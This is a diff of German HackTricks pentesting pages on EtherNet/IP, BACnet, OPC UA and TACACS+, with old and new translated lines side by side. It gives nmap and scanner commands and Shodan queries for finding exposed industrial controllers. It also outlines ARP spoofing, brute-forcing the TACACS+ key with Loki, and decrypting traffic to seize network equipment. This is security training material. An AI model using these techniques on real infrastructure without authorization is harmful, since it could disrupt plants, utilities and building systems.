EtherNet/IP ist ein **industrielles Ethernet-Netzwerkprotokoll**, das häufig in **industriellen Automatisierungssteuerungssystemen** verwendet wird. Es wurde von Rockwell Automation Ende der 1990er Jahre entwickelt und wird von ODVA verwaltet. Das Protokoll gewährleistet **Interoperabilität von Systemen verschiedener Anbieter** und wird in verschiedenen Anwendungen wie **Wasseraufbereitungsanlagen**, **Produktionsstätten** und **Versorgungsunternehmen** eingesetzt. Um ein EtherNet/IP-Gerät zu identifizieren, wird eine Abfrage an **TCP/44818** mit einer **List Identities Message (0x63)** gesendet.
EtherNet/IP ist ein **industrielles Ethernet-Netzwerkprotokoll**, das häufig in **Systemen zur Automatisierungstechnik** verwendet wird. Es wurde von Rockwell Automation in den späten 1990er Jahren entwickelt und wird von der ODVA verwaltet. Das Protokoll gewährleistet **Interoperabilität von Multi-Anbietern** und wird in verschiedenen Anwendungen wie **Wasseraufbereitungsanlagen**, **Fertigungsanlagen** und **Versorgungsunternehmen** eingesetzt. Um ein EtherNet/IP-Gerät zu identifizieren, wird eine Abfrage an **TCP/44818** mit einer **List Identities Message (0x63)** gesendet.
**Standardport:** 44818 UDP/TCP
```
@ -23,28 +24,6 @@ PORT STATE SERVICE
44818/tcp open EtherNet/IP
```
# **Enumeration**
Enumeration ist der Prozess der Sammlung von Informationen über ein Zielnetzwerk, um Schwachstellen zu identifizieren und potenzielle Angriffsvektoren zu erkennen. Es ist ein wichtiger Schritt im Pentesting-Prozess, da er es einem Angreifer ermöglicht, das Netzwerk zu verstehen und gezielte Angriffe durchzuführen.
Es gibt verschiedene Techniken, die bei der Enumeration eingesetzt werden können, um Informationen über das Netzwerk zu sammeln. Dazu gehören:
- **Port Scanning**: Durch das Scannen der offenen Ports auf einem Zielhost kann ein Angreifer Informationen über die verwendeten Dienste und deren Versionen erhalten.
- **Service Identification**: Diese Technik ermöglicht es einem Angreifer, die Dienste zu identifizieren, die auf den offenen Ports laufen. Dies kann helfen, potenzielle Schwachstellen in diesen Diensten zu finden.
- **Banner Grabbing**: Durch das Abrufen von Bannern, die von Diensten gesendet werden, kann ein Angreifer Informationen über die verwendeten Softwareversionen und Konfigurationen erhalten.
- **DNS Enumeration**: Durch das Durchsuchen von DNS-Einträgen kann ein Angreifer Informationen über die Netzwerktopologie, Subdomains und andere relevante Informationen erhalten.
- **SNMP Enumeration**: Durch das Abfragen von SNMP-Diensten kann ein Angreifer Informationen über das Netzwerkgerät und seine Konfiguration erhalten.
- **NetBIOS Enumeration**: Durch das Durchsuchen von NetBIOS-Diensten kann ein Angreifer Informationen über die Windows-Domänenstruktur, Benutzerkonten und Freigaben erhalten.
- **LDAP Enumeration**: Durch das Durchsuchen von LDAP-Diensten kann ein Angreifer Informationen über Benutzerkonten, Gruppen und andere Informationen im Verzeichnisdienst erhalten.
- **SMTP Enumeration**: Durch das Durchsuchen von SMTP-Diensten kann ein Angreifer Informationen über E-Mail-Adressen, Benutzerkonten und andere relevante Informationen erhalten.
Die Enumeration ist ein kritischer Schritt im Pentesting-Prozess, da sie einem Angreifer ermöglicht, das Zielnetzwerk besser zu verstehen und Schwachstellen zu identifizieren, die für einen erfolgreichen Angriff ausgenutzt werden können. Es ist wichtig, dass ein Pentester diese Techniken beherrscht, um effektive und erfolgreiche Angriffe durchführen zu können.
```bash
nmap -n -sV --script enip-info -p 44818 <IP>
pip3 install cpppo
@ -55,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
* `port:44818 "Produktname"`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Protokollinformationen
**BACnet** ist ein **Kommunikationsprotokoll** für Gebäudeautomatisierungs- und -steuerungsnetzwerke (BAC), das das **ASHRAE**, **ANSI** und das **ISO 16484-5-Standardprotokoll** nutzt. Es erleichtert die Kommunikation zwischen Gebäudeautomatisierungs- und -steuerungssystemen und ermöglicht Anwendungen wie HVAC-Steuerung, Lichtsteuerung, Zugangskontrolle und Brandmeldeanlagen den Austausch von Informationen. BACnet gewährleistet Interoperabilität und ermöglicht es computergesteuerten Gebäudeautomatisierungsgeräten, unabhängig von den spezifischen Diensten, die sie bereitstellen, zu kommunizieren.
**BACnet** ist ein **Kommunikationsprotokoll** für Gebäudeautomations- und Steuerungssysteme (BAC), das das **ASHRAE**, **ANSI** und das **ISO 16484-5 Standard** Protokoll nutzt. Es erleichtert die Kommunikation zwischen Gebäudeautomations- und Steuerungssystemen und ermöglicht Anwendungen wie HVAC-Steuerung, Lichtsteuerung, Zugangskontrolle und Brandmeldesysteme, Informationen auszutauschen. BACnet gewährleistet Interoperabilität und ermöglicht es computergestützten Gebäudeautomationsgeräten, unabhängig von den spezifischen Diensten, die sie bereitstellen, zu kommunizieren.
**Standardport:** 47808
```text
PORT STATE SERVICE
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
```
# Auflistung
# Aufzählung
## Manuell
```bash
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
Dieses Skript versucht nicht, einem BACnet-Netzwerk als fremdes Gerät beizutreten, sondern sendet einfach BACnet-Anfragen direkt an ein über eine IP-Adresse erreichbares Gerät.
Dieses Skript versucht nicht, einem BACnet-Netzwerk als fremdes Gerät beizutreten, sondern sendet einfach BACnet-Anfragen direkt an ein IP-adressierbares Gerät.
## Shodan
* `port:47808 instance`
* `"Instanz-ID" "Herstellername"`
* `"Instance ID" "Vendor Name"`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
**OPC UA**, was für **Open Platform Communications Unified Access** steht, ist ein entscheidendes Open-Source-Protokoll, das in verschiedenen Branchen wie Fertigung, Energie, Luft- und Raumfahrt sowie Verteidigung für den Datenaustausch und die Gerätesteuerung verwendet wird. Es ermöglicht die Kommunikation zwischen Geräten verschiedener Hersteller, insbesondere mit PLCs.
**OPC UA**, was für **Open Platform Communications Unified Access** steht, ist ein entscheidendes Open-Source-Protokoll, das in verschiedenen Branchen wie Fertigung, Energie, Luft- und Raumfahrt sowie Verteidigung für den Datenaustausch und die Steuerung von Geräten verwendet wird. Es ermöglicht einzigartig die Kommunikation von Geräten verschiedener Anbieter, insbesondere mit SPS.
Die Konfiguration ermöglicht starke Sicherheitsmaßnahmen, aber oft werden diese aus Kompatibilitätsgründen mit älteren Geräten verringert, was Systeme Risiken aussetzt. Darüber hinaus kann es schwierig sein, OPC UA-Dienste zu finden, da Netzwerkscanner sie möglicherweise nicht erkennen, wenn sie auf nicht standardmäßigen Ports ausgeführt werden.
Seine Konfiguration ermöglicht starke Sicherheitsmaßnahmen, aber oft werden diese zur Kompatibilität mit älteren Geräten verringert, was Systeme Risiken aussetzt. Darüber hinaus kann es schwierig sein, OPC UA-Dienste zu finden, da Netzwerkscanner sie möglicherweise nicht erkennen, wenn sie auf nicht standardmäßigen Ports sind.
**Standardport:** 4840
```text
@ -27,15 +28,15 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
Um Sicherheitsprobleme in OPC UA-Servern aufzudecken, scannen Sie diese mit [OpalOPC](https://opalopc.com/).
Um Sicherheitsprobleme in OPC UA-Servern aufzudecken, scannen Sie sie mit [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Ausnutzen von Schwachstellen
Wenn Authentifizierungsbypass-Schwachstellen gefunden werden, können Sie einen [OPC UA-Client](https://www.prosysopc.com/products/opc-ua-browser/) entsprechend konfigurieren und sehen, auf was Sie zugreifen können. Dies kann von der bloßen Anzeige von Prozesswerten bis hin zur tatsächlichen Bedienung von schweren Industrieanlagen reichen.
Wenn Authentifizierungsumgehungsschwachstellen gefunden werden, können Sie einen [OPC UA-Client](https://www.prosysopc.com/products/opc-ua-browser/) entsprechend konfigurieren und sehen, auf was Sie zugreifen können. Dies kann alles ermöglichen, von der bloßen Anzeige von Prozesswerten bis hin zur tatsächlichen Bedienung von schweren Industrieanlagen.
Um eine Vorstellung von dem Gerät zu bekommen, auf das Sie Zugriff haben, lesen Sie die Werte des Knotens "ServerStatus" im Adressraum und suchen Sie nach einer Gebrauchsanleitung.
Um einen Hinweis auf das Gerät zu erhalten, auf das Sie Zugriff haben, lesen Sie die "ServerStatus"-Knotenwerte im Adressraum und suchen Sie nach einem Benutzerhandbuch.
## Shodan
@ -45,16 +46,17 @@ Um eine Vorstellung von dem Gerät zu bekommen, auf das Sie Zugriff haben, lesen
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,34 +1,59 @@
# Grundlegende Informationen
# 49 - Pentesting TACACS+
Das **Terminal Access Controller Access Control System (TACACS)**-Protokoll wird verwendet, um Benutzer zu validieren, die versuchen, auf Router oder Network Access Server (NAS) zuzugreifen. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Buchhaltung (AAA).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Grundinformationen
Das **Terminal Access Controller Access Control System (TACACS)**-Protokoll wird verwendet, um Benutzer, die versuchen, auf Router oder Network Access Servers (NAS) zuzugreifen, zentral zu validieren. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Abrechnung (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Standardport:** 49
## Abfangen des Authentifizierungsschlüssels
## Authentifizierungsschlüssel abfangen
Wenn die Kommunikation zwischen Client und TACACS-Server von einem Angreifer abgefangen wird, kann der **verschlüsselte Authentifizierungsschlüssel abgefangen werden**. Der Angreifer kann dann einen **lokalen Brute-Force-Angriff gegen den Schlüssel durchführen, ohne in den Protokollen entdeckt zu werden**. Bei erfolgreichem Brute-Forcing des Schlüssels erhält der Angreifer Zugriff auf die Netzwerkausrüstung und kann den Datenverkehr mithilfe von Tools wie Wireshark entschlüsseln.
Wenn die Kommunikation zwischen dem Client und dem TACACS-Server von einem Angreifer abgefangen wird, kann der **verschlüsselte Authentifizierungsschlüssel abgefangen werden**. Der Angreifer kann dann versuchen, einen **lokalen Brute-Force-Angriff auf den Schlüssel durchzuführen, ohne in den Protokollen erkannt zu werden**. Wenn der Angreifer erfolgreich den Schlüssel brute-forced, erhält er Zugriff auf die Netzwerkausrüstung und kann den Datenverkehr mit Tools wie Wireshark entschlüsseln.
### Durchführen eines MitM-Angriffs
### Durchführung eines MitM-Angriffs
Ein **ARP-Spoofing-Angriff kann verwendet werden, um einen Man-in-the-Middle (MitM)-Angriff durchzuführen**.
Ein **ARP-Spoofing-Angriff kann genutzt werden, um einen Man-in-the-Middle (MitM)-Angriff durchzuführen**.
### Brute-Forcing des Schlüssels
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kann verwendet werden, um den Schlüssel per Brute-Force anzugreifen:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kann verwendet werden, um den Schlüssel zu brute-forcen:
```
sudo loki_gtk.py
```
Wenn der Schlüssel erfolgreich **bruteforce** (**normalerweise im MD5-verschlüsselten Format)** ist, **können wir auf die Ausrüstung zugreifen und den TACACS-verschlüsselten Datenverkehr entschlüsseln.**
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
### Entschlüsselung des Datenverkehrs
Sobald der Schlüssel erfolgreich geknackt wurde, ist der nächste Schritt, den **TACACS-verschlüsselten Datenverkehr zu entschlüsseln**. Wireshark kann den verschlüsselten TACACS-Verkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Datenverkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin-Benutzers** erhalten werden.
### Decrypting Traffic
Sobald der Schlüssel erfolgreich geknackt wurde, besteht der nächste Schritt darin, den **TACACS-verschlüsselten Verkehr zu entschlüsseln**. Wireshark kann verschlüsselten TACACS-Verkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Verkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin-Benutzers** gewonnen werden.
Durch den Zugriff auf das Steuerfeld der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken durchgeführt werden sollten und nicht ohne ordnungsgemäße Autorisierung verwendet werden dürfen.
Durch den Zugriff auf das Kontrollpanel der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken durchgeführt werden und ohne entsprechende Genehmigung nicht verwendet werden sollten.
## Referenzen
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -38,16 +63,17 @@ Durch den Zugriff auf das Steuerfeld der Netzwerkausrüstung mit den erhaltenen
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
